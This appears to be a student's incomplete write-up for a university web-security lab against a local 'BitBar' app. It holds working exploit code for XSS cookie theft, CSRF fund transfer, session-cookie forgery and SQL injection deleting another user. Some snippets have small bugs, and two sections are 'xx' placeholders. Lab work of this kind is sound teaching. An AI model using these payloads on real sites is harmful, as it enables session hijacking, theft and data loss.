Project 2: Web Attacks & Defenses

Julian Cooper jelc@stanford.edu
AA228/CS238, Stanford University

1. Alpha: Cookie Thefit

Idea: Attacker has access to some part of the BitBar user profile webpage and wants to insert a link to url that steals the user's cookie, but otherwise appears to just refresh the page.

Exploit: We need to specify the url that our user would click to execute the cookie theft.

```
http://localhost:3000/profile?username=<p hidden>
<script>
    var xhr = new XMLHttpRequest();
    var url = 'http://localhost:3000/steal_cookie?cookie='%2B document.cookie;
    xhr.open("GET", url);
    xhr.send();
</script>
```

Working notes:

- Recognize we can insert `http://localhost:3000/profile?username=<valid user>` and switch between user profiles after logged in. If the username given is invalid, it produces an error message that we want to avoid. We do this by passing `<p hidden>` (without closing html tag) to hide the long script we are passing to the username field.
- Open a GET request to the localhost:3000 url and pass `steal_cookie` key with cookie information from the DOM included as the value. Note, we will need to pass the bulk of the url as a string, except the document.cookie fucntion call which we can concatenate with `''%2Bcookie`, `''`\cookie+, or `''.concat(cookie)`.
- Declare two the two variables we need to execute this: xhr (our `HttpRequest()` variable) and url to send request to. Finally, send GET request to url we have specified. We should see the session cookie printed in plaintext from the network terminal.

2. Bravo: Cross-Site Request Forgery

Idea: Attacker builds a website wants to build a malicious website which (when visited) steals some Bitbar from another user. After the theft, the user is redirected to `https://cs155.stanford.edu`.

Exploit: We need to design a self-contianed HTML page (`b.html`) that sends a post transfer request to the BitBar server with our logged in user credentials and appropriate header.

```
<script>
```

```
    var args = "destination_username=attacker&quantity=10";
    var xhr = new XMLHttpRequest();
    xhr.withCredentials = true;
    xhr.onload = () => window.location="https://cs155.stanford.edu/";
    xhr.open("POST", "http://localhost:3000/post_transfer");
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xhr.send(send_args);
</script>
```

Working notes:

- Open a new http post request to `http://localhost:3000/post_transfer` and prepare send arguments: `destination_username` and `quantity=10`.
- Set with credentials to true to allow cookies to be sent with request and set request header to `x-www-form-urlencoded` to specify the type of data we are sending (&, =).
- Redirect user to `https://cs155.stanford.edu/` after the request is sent using onload function call.

3. Charlie: Session Hijacking with Cookies

Idea: Want to trick Bitbar server into thinking you are logged in as a different user by hijacking the victim's session cookie.

Exploit: Start attack logged in as `attacker` and execute script in browser console to trick Bitbar into switching you onto `user1`'s account from which you can use the web UI to transfer 10 Bitbar to `attacker`.

```
var sessObj = JSON.parse(atob(document.cookie.substring(8)));
sessObj.account.username = "user1";
sessObj.account.bitbars = 200;
document.cookie = "session=" + btoa(JSON.stringify(sessObj));
```

Working notes:

- Recognize that session cookie is stored in the DOM as ascii (base64) and can be accessed from the browser console. Isolate session cookie ascii using substring() function, convert from base64 to binary string and use JSON.parse() to convert into a Javascript object. Assign session cookie object to new variable `sessObj`.
- Change the username and bitbars fields of the session cookie object to the desired values. Convert back to base64 string using JSON.stringify() and btoa() functions.
- Finally, reassign document.cookie to new session cookie string and reload the page. We should now be recognized as `user1` and able to navigate to transfer page and pay `attacker` 10 Bitbar.

4. Delta: Cooking the Books with Cookies

Idea: Want to forge 1 million new Bitbar rather than steal from other users.

Exploit: Begin attack by creating a new user and insert Javascript commands into the console such that after a small initial transaction, our new user's balance jumps up to 1 million Bitbar.

```
var sessObj = JSON.parse(atob(document.cookie.substring(8)));
sessObj.account.bitbars = 1e6 + 1;
document.cookie = "session="+btoa(JSON.stringify(sessObj));
```

Working notes: identical strategy and function calls to exploit charlie. We end up with 1e6 + 1 Bitbar in our account *before* reloading the page and exactly 1e6 after a transfer of 1 Bitbar to any other valid user.

5. Echo: SQL Injection

Idea: Want to execute malicious SQL against the backend database that powers the Bitbar application. In particular, we want to remove another user (`user3`) from the app's database.

Exploit: Design a username that executes malicious SQL when the grader attempts to create a new user account with your provided username.

Recall the app's account close routine constructs SQL statements with user input:

```
router.get('/close', asyncMiddleware(async (req, res, next) => {
    if(req.session.loggedIn == false) {
        render(req,
               res,
               next,
               'login/form',
               'Login',
               'You must be logged in to use this feature!');
        return;
    };
    const db = await dbPromise;
    const query = `DELETE FROM Users WHERE username == "${req.session.account.username}";`;
    await db.get(query);
    req.session.loggedIn = false;
    req.session.account = {};
    render(req, res, next, 'index', 'Bitbar Home', 'Deleted account successfully!');
}));
```

We provide the following statement as our new user's username:

```
" OR username == "user3
```

Working notes:

- The SQL statement that is executed is of the form: `DELETE FROM Users WHERE username == "" OR username == "user3";`.
- The first part of the statement deletes the user with the username `""` (empty string) which is the user that is currently logged in.
- The second part fohe boolean resolves to be true for "user3" and so remove login information for that user as well.

6. Foxtroot: Profile Worm

Idea: xx

Exploit: xx

```
xx
```

Working notes:

- xx

7. Gamma: Password Extraction via Timing Attack

Idea: xx

Exploit: xx

```
xx
```

Working notes:

- xx